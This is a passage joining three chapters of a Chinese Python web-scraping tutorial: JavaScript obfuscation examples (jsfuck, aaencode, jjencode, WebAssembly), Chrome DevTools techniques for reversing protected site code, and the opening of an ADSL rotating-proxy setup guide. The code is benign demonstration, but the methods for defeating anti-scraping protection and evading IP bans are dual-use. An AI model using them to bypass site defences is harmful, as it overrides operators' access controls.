var _0x254a0d = function () {
return {
key: _0x5b38("0x3"),
value: _0x5b38("0x4"),
getAttribute: (function () {
for (var _0x5cc3c7 = 0x0; _0x5cc3c7 < 0x3e8; _0x5cc3c7--) {
var _0x35b30b = _0x5cc3c7 > 0x0;
switch (_0x35b30b) {
case !![]:
return (
this[_0x5b38("0x3")] +
"_" +
this[_0x5b38("0x5")] +
"_" +
_0x5cc3c7
);
default:
this[_0x5b38("0x3")] + "_" + this[_0x5b38("0x5")];
}
}
})(),
};
};
var _0x3b375a = new RegExp("[QLCIKYkCFzdWpzRAXMhxJOYpTpYWJHPll]", "g");
var _0x5a94d2 = "cuQLiqiCInKYkgCFzdWcpzRAaXMi.hcoxmJOYpTpYWJHPll"
[_0x5b38("0x6")](_0x3b375a, "")
["split"](";");
var _0x5c0da2;
var _0x19ad5d;
var _0x5992ca;
var _0x40bd39;
for (var _0x5cad1 in _0x276a31) {
if (
_0x5cad1[_0x5b38("0x7")] == 0x8 &&
_0x5cad1[_0x5b38("0x8")](0x7) == 0x74 &&
_0x5cad1[_0x5b38("0x8")](0x5) == 0x65 &&
_0x5cad1[_0x5b38("0x8")](0x3) == 0x75 &&
_0x5cad1[_0x5b38("0x8")](0x0) == 0x64
) {
_0x5c0da2 = _0x5cad1;
break;
}
}
for (var _0x29551 in _0x276a31[_0x5c0da2]) {
if (
_0x29551[_0x5b38("0x7")] == 0x6 &&
_0x29551[_0x5b38("0x8")](0x5) == 0x6e &&
_0x29551[_0x5b38("0x8")](0x0) == 0x64
) {
_0x19ad5d = _0x29551;
break;
}
}
if (!("~" > _0x19ad5d)) {
for (var _0x2b71bd in _0x276a31[_0x5c0da2]) {
if (
_0x2b71bd[_0x5b38("0x7")] == 0x8 &&
_0x2b71bd[_0x5b38("0x8")](0x7) == 0x6e &&
_0x2b71bd[_0x5b38("0x8")](0x0) == 0x6c
) {
_0x5992ca = _0x2b71bd;
break;
}
}
for (var _0x397f55 in _0x276a31[_0x5c0da2][_0x5992ca]) {
if (
_0x397f55["length"] == 0x8 &&
_0x397f55[_0x5b38("0x8")](0x7) == 0x65 &&
_0x397f55[_0x5b38("0x8")](0x0) == 0x68
) {
_0x40bd39 = _0x397f55;
break;
}
}
}
if (!_0x5c0da2 || !_0x276a31[_0x5c0da2]) {
return;
}
var _0x5f19be = _0x276a31[_0x5c0da2][_0x19ad5d];
var _0x674f76 =
!!_0x276a31[_0x5c0da2][_0x5992ca] &&
_0x276a31[_0x5c0da2][_0x5992ca][_0x40bd39];
var _0x5e1b34 = _0x5f19be || _0x674f76;
if (!_0x5e1b34) {
return;
}
var _0x593394 = ![];
for (var _0x479239 = 0x0; _0x479239 < _0x5a94d2["length"]; _0x479239++) {
var _0x19ad5d = _0x5a94d2[_0x479239];
var _0x112c24 = _0x5e1b34["length"] - _0x19ad5d["length"];
var _0x51731c = _0x5e1b34["indexOf"](_0x19ad5d, _0x112c24);
var _0x173191 = _0x51731c !== -0x1 && _0x51731c === _0x112c24;
if (_0x173191) {
if (
_0x5e1b34["length"] == _0x19ad5d[_0x5b38("0x7")] ||
_0x19ad5d["indexOf"](".") === 0x0
) {
_0x593394 = !![];
}
}
}
if (!_0x593394) {
data;
} else {
return;
}
_0x254a0d();
});
_0x67dcc8();
console[_0x5b38("0x9")](_0x5b38("0xa"));

这段代码就只能在指定域名 cuiqingcai.com 下运行,不能在其他网站运行。这样的话,如果一些相关 JavaScript 代码被单独剥离出来,想在其他网站运行或者使用程序模拟运行的话,运行结果只有是失败,这样就可以有效降低被代码被模拟或盗用的风险。

特殊编码

另外还有一些特殊的工具包,如使用 aaencode、jjencode、jsfuck 等工具对代码进行混淆和编码。

示例如下:

1
var a = 1

jsfuck 的结果:

1
2
3
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+
...
([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![]+!![]+!![]+!![])(([]+{})[+[]])[+[]]+(!+[]+!![]+!![]+[])+([][[]]+[])[!+[]+!![]])+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(+!![]+[]))(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])

aaencode 的结果:

1
゚ω゚ノ= /`m´)ノ ~┻━┻   / ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚o゚])(゚Θ゚))((゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]);

jjencode 的结果:

1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+$.$_$_+"\\"+$.$__+$.___+"=\\"+$.$__+$.___+$.__$+"\"")())();

可以看到,通过这些工具,原本非常简单的代码被转化为一些几乎完全不可读的代码,但实际上运行效果还是相同的。这些混淆方式比较另类,看起来虽然没有什么头绪,但实际上找到规律是非常好还原的,其没有真正达到强力混淆的效果。

以上便是对 JavaScript 混淆方式的介绍和总结。总的来说,经过混淆的 JavaScript 代码其可读性大大降低,同时防护效果也大大增强。

6. WebAssembly

随着技术的发展,WebAssembly 逐渐流行起来。不同于 JavaScript 混淆技术, WebAssembly 其基本思路是将一些核心逻辑使用其他语言(如 C/C++ 语言)来编写,并编译成类似字节码的文件,并通过 JavaScript 调用执行,从而起到二进制级别的防护作用。

WebAssembly 是一种可以使用非 JavaScript 编程语言编写代码并且能在浏览器上运行的技术方案,比如借助于我们能将 C/C++ 利用 Emscripten 编译工具转成 wasm 格式的文件, JavaScript 可以直接调用该文件执行其中的方法。

WebAssembly 是经过编译器编译之后的字节码,可以从 C/C++ 编译而来,得到的字节码具有和 JavaScript 相同的功能,运行速度更快,体积更小,而且在语法上完全脱离 JavaScript,同时具有沙盒化的执行环境。

比如这就是一个基本的 WebAssembly 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WebAssembly.compile(
new Uint8Array(
`
00 61 73 6d 01 00 00 00 01 0c 02 60 02 7f 7f 01
7f 60 01 7f 01 7f 03 03 02 00 01 07 10 02 03 61
64 64 00 00 06 73 71 75 61 72 65 00 01 0a 13 02
08 00 20 00 20 01 6a 0f 0b 08 00 20 00 20 00 6c
0f 0b`
.trim()
.split(/[\s\r\n]+/g)
.map((str) => parseInt(str, 16))
)
).then((module) => {
const instance = new WebAssembly.Instance(module);
const { add, square } = instance.exports;
console.log("2 + 4 =", add(2, 4));
console.log("3^2 =", square(3));
console.log("(2 + 5)^2 =", square(add(2 + 5)));
});

这里其实是利用 WebAssembly 定义了两个方法,分别是 add 和 square,可以分别用于求和和开平方计算。那这两个方法在哪里声明的呢?其实它们被隐藏在了一个 Uint8Array 里面,仅仅查看明文代码我们确实无从知晓里面究竟定义了什么逻辑,但确实是可以执行的,我们将这段代码输入到浏览器控制台下,运行结果如下:

1
2
3
2 + 4 = 6
3^2 = 9
(2 + 5)^2 = 49

由此可见,通过 WebAssembly 我们可以成功将核心逻辑“隐藏”起来,这样某些核心逻辑就不能被轻易找出来了。

所以,很多网站越来越多使用 WebAssembly 技术来保护一些核心逻辑不被轻易被人识别或破解,可以起到更好的防护效果。

7. 总结

以上,我们就介绍了接口加密技术和 JavaScript 的压缩、混淆技术,也对 WebAssembly 技术有了初步的了解,知己知彼方能百战不殆,了解了原理,我们才能更好地去实现 JavaScript 的逆向。

本节代码:https://github.com/Python3WebSpider/JavaScriptObfuscate

由于本节涉及一些专业名词,部分内容参考来源如下:

  • GitHub - javascript-obfuscator 官方 GitHub 仓库:https://github.com/javascript-obfuscator/javascript-obfuscator
  • 官网 - javascript-obfuscator 官网:https://obfuscator.io/
  • 博客 - asm.js 和 Emscripten 入门教程:https://www.ruanyifeng.com/blog/2017/09/asmjs_emscripten.html
  • 博客 - JavaScript 混淆安全加固:https://juejin.im/post/5cfcb9d25188257e853fa71c

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面一节我们了解了 JavaScript 的压缩、混淆等技术,现在越来越多的网站也已经应用了这些技术对其数据接口进行了保护,在做爬虫时如果我们遇到了这种情况,我们可能就不得不硬着头皮来去想方设法找出其中隐含的关键逻辑了,这个过程我们可以称之为 JavaScript 逆向。

既然我们要做 JavaScript 逆向,那少不了要用到浏览器的开发者工具,因为网页是在浏览器中加载的,所以多数的调试过程也是在浏览器中完成的。

工欲善其事,必先利其器。本节我们先来基于 Chrome 浏览器介绍一下浏览器开发者工具的使用。但由于开发者工具功能十分复杂,本节主要介绍对 JavaScript 逆向有一些帮助的功能,学会了这些,我们在做 JavaScript 逆向调试的过程会更加得心应手。

本节我们以一个示例网站 https://spa2.scrape.center/ 来做演示,用这个示例来介绍浏览器开发者工具各个面版的用法。

1. 面板介绍

首先我们用 Chrome 浏览器打开示例网站,页面如图所示:

示例网站页面

接下来打开开发者工具,我们会看到类似图 xx 所示的结果。

打开开发者工具

这里可以看到多个面板标签,如 Elements、Console、Sources 等,这就是开发者工具的一个个面板,功能丰富而又强大,先对面板作下简单的介绍:

  • Elements:元素面板,用于查看或修改当前网页 HTML 节点的属性、CSS 属性、监听事件等等,HTML 和 CSS 都可以即时修改和即时显示。
  • Console:控制台面板,用于查看调试日志或异常信息。另外我们还可以在控制台输入 JavaScript 代码,方便调试。
  • Sources:源代码面板,用于查看页面的 HTML 文件源代码、JavaScript 源代码、CSS 源代码,还可以在此面板对 JavaScript 代码进行调试,比如添加和修改 JavaScript 断点,观察 JavaScript 变量变化等。
  • Network:网络面板,用于查看页面加载过程中的各个网络请求,包括请求、响应等各个详情。
  • Performance:性能面板,用于记录和分析页面在运行时的所有活动,比如 CPU 占用情况,呈现页面性能分析结果,
  • Memory:内存面板,用于记录和分析页面占用内存情况,如查看内存占用变化,查看 JavaScript 对象和 HTML 节点的内存分配。
  • Application:应用面板,用于记录网站加载的所有资源信息,如存储、缓存、字体、图片等,同时也可以对一些资源进行修改和删除。
  • Lighthouse:审核面板,用于分析网络应用和网页,收集现代性能指标并提供对开发人员最佳实践的意见。

了解了这些面板之后,我们来深入了解几个面板中对 JavaScript 调试很有帮助的功能。

2. 查看节点事件

之前我们是用 Elements 面板来审查页面的节点信息的,我们可以查看当前页面的 HTML 源代码及其在网页中对应的位置,查看某个条目的标题对应的页面源代码,如图所示。

查看源代码

点击右侧的 Styles 选项卡,可以看到对应节点的 CSS 样式,我们可以自行在这里增删样式,实时预览效果,这对网页开发十分有帮助。

在 Computed 选项卡中还可以看到当前节点的盒子模型,比如外边距、内边距等,还可以看到当前节点最终计算出的 CSS 的样式,如图所示。

盒子模型

接下来切换到右侧的 Event Listeners 选项卡,这里可以显示各个节点当前已经绑定的事件,都是 JavaScript 原生支持的,下面简单列举几个事件。

  • change:HTML 元素改变时会触发的事件。
  • click:用户点击 HTML 元素时会触发的事件。
  • mouseover:用户在一个 HTML 元素上移动鼠标会触发的事件。
  • mouseout:用户从一个 HTML 元素上移开鼠标会触发的事件。
  • keydown:用户按下键盘按键会触发的事件。
  • load:浏览器完成页面加载时会触发的事件。

通常,我们会给按钮绑定一个点击事件,它的处理逻辑一般是由 JavaScript 定义的,这样在我们点击按钮的时候,对应的 JavaScript 代码便会执行。比如在图 xx 中,我们选中切换到第 2 页的节点,右侧 Event Listeners 选项卡下会看到它绑定的事件。

选中切换到第 2 页的节点

这里有对应事件的代码位置,内容为一个 JavaScript 文件名称 chunk-vendors.77daf991.js,然后紧跟一个冒号,然后再跟了一个数字 7。所以对应的事件处理函数是定义在 chunk-vendors.77daf991.js 这个文件的第 7 行。点击这个代码位置,便会自动跳转 Sources 面板,打开对应的 chunk-vendors.77daf991.js 文件并跳转到对应的位置,如图所示。

跳转到对应的代码位置

所以,利用好 Event Listeners,我们可以轻松地找到各个节点绑定事件的处理方法所在的位置,帮我们在 JavaScript 逆向过程中找到一些突破口。

3. 代码美化

刚才我们已经通过 Event Listeners 找到了对应的事件处理方法所在的位置并成功跳转到了代码所在的位置。

但是,这部分代码似乎被压缩过了,可读性很差,根本没法阅读,这时候应该怎么办呢?

不用担心,Sources 面板提供了一个便捷好用的代码美化功能。我们点击代码面板左下角的格式化按钮,代码就会变成如图所示的样子。

代码格式化按钮

格式化后的代码

此时会新出现一个叫作 chunk-vendors.77daf991.js:formatted 的选项卡,文件名后面加了 formatted 标识,代表这是被格式化的结果。我们会发现,原来代码在第 7 行,现在自动对应到了第 4445 行,而且对应的代码位置会高亮显示,代码可读性大大增强!

这个功能在调试过程中非常常用,用好这个功能会给我们的 JavaScript 调试过程带来极大的便利。

4. 断点调试

接下来介绍一个非常重要的功能——断点调试。在调试代码的时候,我们可以在需要的位置上打断点,当对应事件触发时,浏览器就会自动停在断点的位置等待调试,此时我们可以选择单步调试,在面板中观察调用栈、变量值,以更好地追踪对应位置的执行逻辑。

那么断点怎么打呢?我们接着以上面的例子来说。首先单击如图所示的代码行号。

单击代码行号

这时候行号处就出现了一个蓝色的箭头,这就证明断点已经添加好了,同时在右侧的 Breakpoints 选项卡下会出现我们添加的断点的列表。

由于我们知道这个断点是用来处理翻页按钮的点击事件的,所以可以在网页里面点击按钮试一下,比如点击第 2 页的按钮,这时候就会发现断点被触发了,如图所示。

断点被触发

这时候我们可以看到页面中显示了一个叫作 Paused in debugger 的提示,这说明浏览器执行到刚才我们设置断点的位置处就不再继续执行了,等待我们发号施令执行调试。

此时代码停在了第 4446 行,回调参数 e 就是对应的点击事件 MouseEvent 。在右侧的 Scope 面板处,可以观察到各个变量的值,比如在 Local 域下有当前方法的局部变量,我们可以在这里看到 MouseEvent 的各个属性,如图所示。

查看 Local 域

另外我们关注到有一个方法 o,它在 Jr 方法下面,所以切换到 Closure(Jr) 域可以查看它的定义及其接收的参数,如图所示。

查看 Closure(Jr) 域

我们可以看到,FunctionLocation 又指向了方法 o ,点击之后便又可以跳到指定位置,用同样的方式进行断点调试即可。

在 Scope 面板还有多个域,这里就不再展开介绍了。总之,通过 Scope 面板,我们可以看到当前执行环境下的变量的值和方法的定义,知道当前代码究竟执行了怎样的逻辑。

接下来切换到 Watch 面板,在这里可以自行添加想要查看的变量和方法,点击右上角的 + 号按钮,我们可以任意添加想要监听的对象,如图所示。

Watch 面板

比如这里我们比较关注 o.apply 是一个怎样的方法,于是点击添加 o.apply,这里就会把对应的方法定义呈现出来,展开之后可以再点击 FunctionLocation 定位其源码位置。

我们还可以切换到 Console 面板,输入任意的 JavaScript 代码,便会执行、输出对应的结果,如图所示。

Console 面板

如果我们想看看变量 arguments 的第一个元素是什么,那么可以直接敲入 arguments[0],便会输出对应的结果 MouseEvent,只要在当前上下文能访问到的变量都可以直接引用并输出。

此时我们还可以选择单步调试,这里有 3 个重要的按钮,如图所示。

单步调试按钮

这 3 个按钮都可以做单步调试,但功能不同。

  • Step Over Next Function Call:逐语句执行
  • Step Into Next Function Call:进入方法内部执行
  • Step Out of Current Function:跳出当前方法

用得较多的是第一个,相当于逐行调试,比如点击 Step Over Next Function Call 这个按钮,就运行到了 4447 行,高亮的位置就变成了这一行,如图所示。

点击 Step Over Next Function Call 按钮

5. 观察调用栈

在调试的过程中,我们可能会跳到一个新的位置,比如点击上述 Step Over Next Function Call 几下,可能会跳到一个叫作 ct 的方法中,这时候我们也不知道发生了什么,如图所示。

跳到 ct 方法中

那究竟是怎么跳过来的呢?我们可以观察一下右侧的 Call Stack 面板,就可以看到全部的调用过程了。比如它的上一步是 ot 方法,再上一步是 pt 方法,点击对应的位置也可以跳转到对应的代码位置,如图所示。

Call Stack 面板

有时候调用栈是非常有用的,利用它我们可以回溯某个逻辑的执行流程,从而快速找到突破口。

6. 恢复 JavaScript 执行

在调试过程中,如果想快速跳到下一个断点或者让 JavaScript 代码运行下去,可以点击 Resume script execution 按钮,如图所示。

Resume script execution 按钮

这时浏览器会直接执行到下一个断点的位置,从而避免陷入无穷无尽的调试中。

当然,如果没有其他断点了,浏览器就会恢复正常状态。比如这里我们就没有再设置其他断点了,浏览器直接运行并加载了下一页的数据,同时页面恢复正常,如图所示。

浏览器恢复正常状态

7. Ajax 断点

上面我们介绍了一些 DOM 节点的 Listener,通过 Listener 我们可以手动设置断点并进行调试。但其实针对这个例子,通过翻页的点击事件 Listener 是不太容易找到突破口的。

接下来我们再介绍一个方法—— Ajax 断点,它可以在发生 Ajax 请求的时候触发断点。对于这个例子,我们的目标其实就是找到 Ajax 请求的那一部分逻辑,找出加密参数是怎么构造的。可以想到,通过 Ajax 断点,使页面在获取数据的时候停下来,我们就可以顺着找到构造 Ajax 请求的逻辑了。

怎么设置呢?

我们把之前的断点全部取消,切换到 Sources 面板下,然后展开 XHR/fetch Breakpoints,这里就可以设置 Ajax 断点,如图所示。

展开 XHR/fetch Breakpoints

要设置断点,就要先观察 Ajax 请求。和之前一样,我们点击翻页按钮 2,在 Network 面板里面观察 Ajax 请求是怎样的,请求的 URL 如图所示。

请求的 URL

可以看到 URL 里面包含 /api/movie 这样的内容,所以我们可以在刚才的 XHR/fetch Breakpoints 面板中添加拦截规则。点击 + 号,可以看到一行 Break when URL contains: 的提示,意思是当 Ajax 请求的 URL 包含填写的内容时,会进入断点停止,这里可以填写 /api/movie,如图所示。

这时候我们再点击翻页按钮 3,触发第 3 页的 Ajax 请求。会发现点击之后页面走到断点停下来了,如图所示。

断点调试模式

格式化代码看一下,发现它停到了 Ajax 最后发送的那个时候,即底层的 XMLHttpRequestsend 方法,可是似乎还是找不到 Ajax 请求是怎么构造的。前面我们讲过调用栈 Call Stack,通过调用栈是可以顺着找到前序调用逻辑的,所以顺着调用栈一层层找,也可以找到构造 Ajax 请求的逻辑,最后会找到一个叫作 onFetchData 的方法,如图所示。

找到 onFetchData 方法

接下来切换到 onFetchData 方法并将代码格式化,可以看到如图所示的调用方法。

调用方法

可以发现,可能使用了 axios 库发起了一个 Ajax 请求,还有 limitoffsettoken 这 3 个参数,基本就能确定了,顺利找到了突破口!我们就不在此展开分析了,后文会有完整的分析实战。

因此在某些情况下,我们可以在比较容易地通过 Ajax 断点找到分析的突破口,这是一个常见的寻找 JavaScript 逆向突破口的方法。

要取消断点也很简单,只需要在 XHR/fetch Breakpoints 面板取消勾选即可,如图所示。

取消断点

8. 改写 JavaScript 文件

我们知道,一个网页里面的 JavaScript 是从对应服务器上下载下来并在浏览器执行的。有时候,我们可能想要在调试的过程中对 JavaScript 做一些更改,比如说有以下需求:

  • 发现 JavaScript 文件中包含很多阻挠调试的代码或者无效代码、干扰代码,想要将其删除。

  • 调试到某处,想要加一行 console.log 输出一些内容,以便观察某个变量或方法在页面加载过程中的调用情况。在某些情况下,这种方法比打断点调试更方便。

  • 调试过程遇到某个局部变量或方法,想要把它赋值给 window 对象以便全局可以访问或调用。

  • 在调试的时候,得到的某个变量中可能包含一些关键的结果,想要加一些逻辑将这些结果转发到对应的目标服务器。

这时候我们可以试着在 Sources 面板中对 JavaScript 进行更改,但这种更改并不能长久生效,一旦刷新页面,更改就全都没有了。比如我们在 JavaScript 文件中写入一行 JavaScript 代码,然后保存,如图所示。

在 JavaScript 文件中写入一行 JavaScript 代码

这时候可以发现 JavaScript 文件上出现了一个感叹号标志,提示我们做的更改是不会保存的。这时候重新刷新页面,再看一下更改的这个文件,如图所示。

刷新页面后的 JavaScript 文件

有什么方法可以修改呢?其实有一些浏览器插件可以实现,比如 ReRes。在插件中,我们可以添加自定义的 JavaScript 文件,并配置 URL 映射规则,这样浏览器在加载某个在线 JavaScript 文件的时候就可以将内容替换成自定义的 JavaScript 文件了。另外,还有一些代理服务器也可以实现,比如 Charles、Fiddler,借助它们可以在加载 JavaScript 文件时修改对应 URL 的响应内容,以实现对 JavaScript 文件的修改。

其实浏览器的开发者工具已经原生支持这个功能了,即浏览器的 Overrides 功能,它在 Sources 面板左侧,如图所示。

Overrides 功能

我们可以在 Overrides 面板上选定一个本地的文件夹,用于保存需要更改的 JavaScript 文件,我们来实际操作一下。

首先,根据上文设置 Ajax 断点的方法,找到对应的构造 Ajax 请求的位置,根据一些网页开发知识,我们可以大体判断出 then 后面的回调方法接收的参数 a 中就包含了 Ajax 请求的结果,如图所示。

我们打算在 Ajax 请求成功获得 Response 的时候,在控制台输出 Response 的结果,也就是通过 console.log 输出变量 a

再切回 Overrides 面板,点击 + 按钮,这时候浏览器会提示我们选择一个本地文件夹,用于存储要替换的 JavaScript 文件。这里我选定了一个我任意新建的文件夹 ChromeOverrides,注意,这时候可能会遇到如图所示的提示,如果没有问题,直接点击“允许”即可。

弹出提示

这时,在 Overrides 面板下就多了一个 ChromeOverrides 文件夹,用于存储所有我们想要更改的 JavaScript 文件,如图所示。

Overrides 面板下出现 ChromeOverrides 文件夹

我们可以看到,现在所在的 JavaScript 选项卡是 chunk-19c920f8.012555a2.js:formatted,代码已经被格式化了。因为格式化后的代码是无法直接在浏览器中修改的,所以为了方便,我们可以将格式化后的文件复制到文本编辑器中,然后添加一行代码,修改如下:

1
2
3
4
5
6
7
8
...
}).then((function(a) {
console.log('response', a) // 添加一行代码
var e = a.data
, s = e.results
, n = e.count;
t.loading = !1,
...

接着把修改后的内容替换到原来的 JavaScript 文件中。这里要注意,切换到 chunk-19c920f8.012555a2.js 文件才能修改,直接替换 JavaScript 文件的所有内容即可,如图所示。

替换 JavaScript 文件的所有内容

替换完毕之后保存,这时候再切换回 Overrides 面板,就可以发现成功生成了新的 JavaScript 文件,它用于替换原有的 JavaScript 文件,如图所示。

生成了新的 JavaScript 文件

好,此时我们取消所有断点,然后刷新页面,就可以在控制台看到输出的 Reponse 结果了,如图所示。

Reponse 结果

正如我们所料,我们成功将变量 a 输出,其中的 data 字段就是 Ajax 的 Response 结果,证明改写 JavaScript 成功!而且刷新页面也不会丢失了。

我们还可以增加一些 JavaScript 逻辑,比如直接将变量 a 的结果通过 API 发送到远程服务器,并通过服务器将数据保存下来,也就完成了直接拦截 Ajax 请求并保存数据的过程了。

修改 JavaScript 文件有很多用途,此方案可以为我们进行 JavaScript 的逆向带来极大的便利。

9. 总结

本节总结了一些浏览器开发者工具中对 JavaScript 逆向非常有帮助的功能,熟练掌握了这些功能会对后续 JavaScript 逆向分析打下坚实的基础,请大家好好研究。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在前面尝试维护过一个代理池,代理池可以挑选出许多可用代理,但是常常其稳定性不高、响应速度慢,而且这些代理通常是公共代理,可能不止一人同时使用,其 IP 被封的概率很大。另外,这些代理可能有效时间比较短,虽然代理池一直在筛选,但如果没有及时更新状态,也有可能获取到不可用的代理。

上一节我们也了解了付费代理的使用,付费代理的质量相对免费代理就会好不少,这的确已经是一个相对不错的方案了,但本节要介绍的方案可以使我们既能不断更换代理,又可以保证代理的稳定性。

在一些付费代理套餐中,大家可能会注意到有这样的一个套餐 - 独享代理或私密代理,这种其实就是用了专用服务器搭建了代理服务,相对一般的付费代理来说,其稳定性更好,速度也更快,同时 IP 可以动态变化。这种独享代理或私密代理的 IP 切换大多数都是基于 ADSL 拨号机制来实现的,一台云主机每拨号一次就可以换一个 IP,同时云主机上搭建了代理服务,我们就可以直接使用该云主机的 HTTP 代理来进行数据爬取了。

本节我们就来实际操作一下搭建 ADSL 拨号代理服务的方法。

1. 什么是 ADSL

ADSL,英文全称是 Asymmetric Digital Subscriber Line,即非对称数字用户环路。它的上行和下行带宽不对称,它采用频分复用技术把普通的电话线分成了电话、上行和下行 3 个相对独立的信道,从而避免了相互之间的干扰。

ADSL 通过拨号的方式上网,拨号时需要输入 ADSL 账号和密码,每次拨号就更换一个 IP。IP 分布在多个 A 段,如果 IP 都能使用,则意味着 IP 量级可达千万。如果我们将 ADSL 主机作为代理,每隔一段时间云主机拨号就换一个 IP,这样可以有效防止 IP 被封禁。另外,由于我们是直接使用专有的云主机搭建的代理服务,所以其代理的稳定性相对更好,代理响应速度也相对更快。

2. 准备工作

在本节开始之前,我们需要先购买几台 ADSL 代理云主机,建议 2 台或以上。因为云主机在拨号的一瞬间服务器正在切换 IP,所以拨号之后代理是不可用的状态,所以需要 2 台及以上云主机来做负载均衡。

ADSL 代理云主机的服务商还是比较多的,个人推荐的有阿斯云、云立方等,其官网分别为:

  • 阿斯云:https://asiyun.cn/
  • 云立方:https://www.yunlifang.cn/

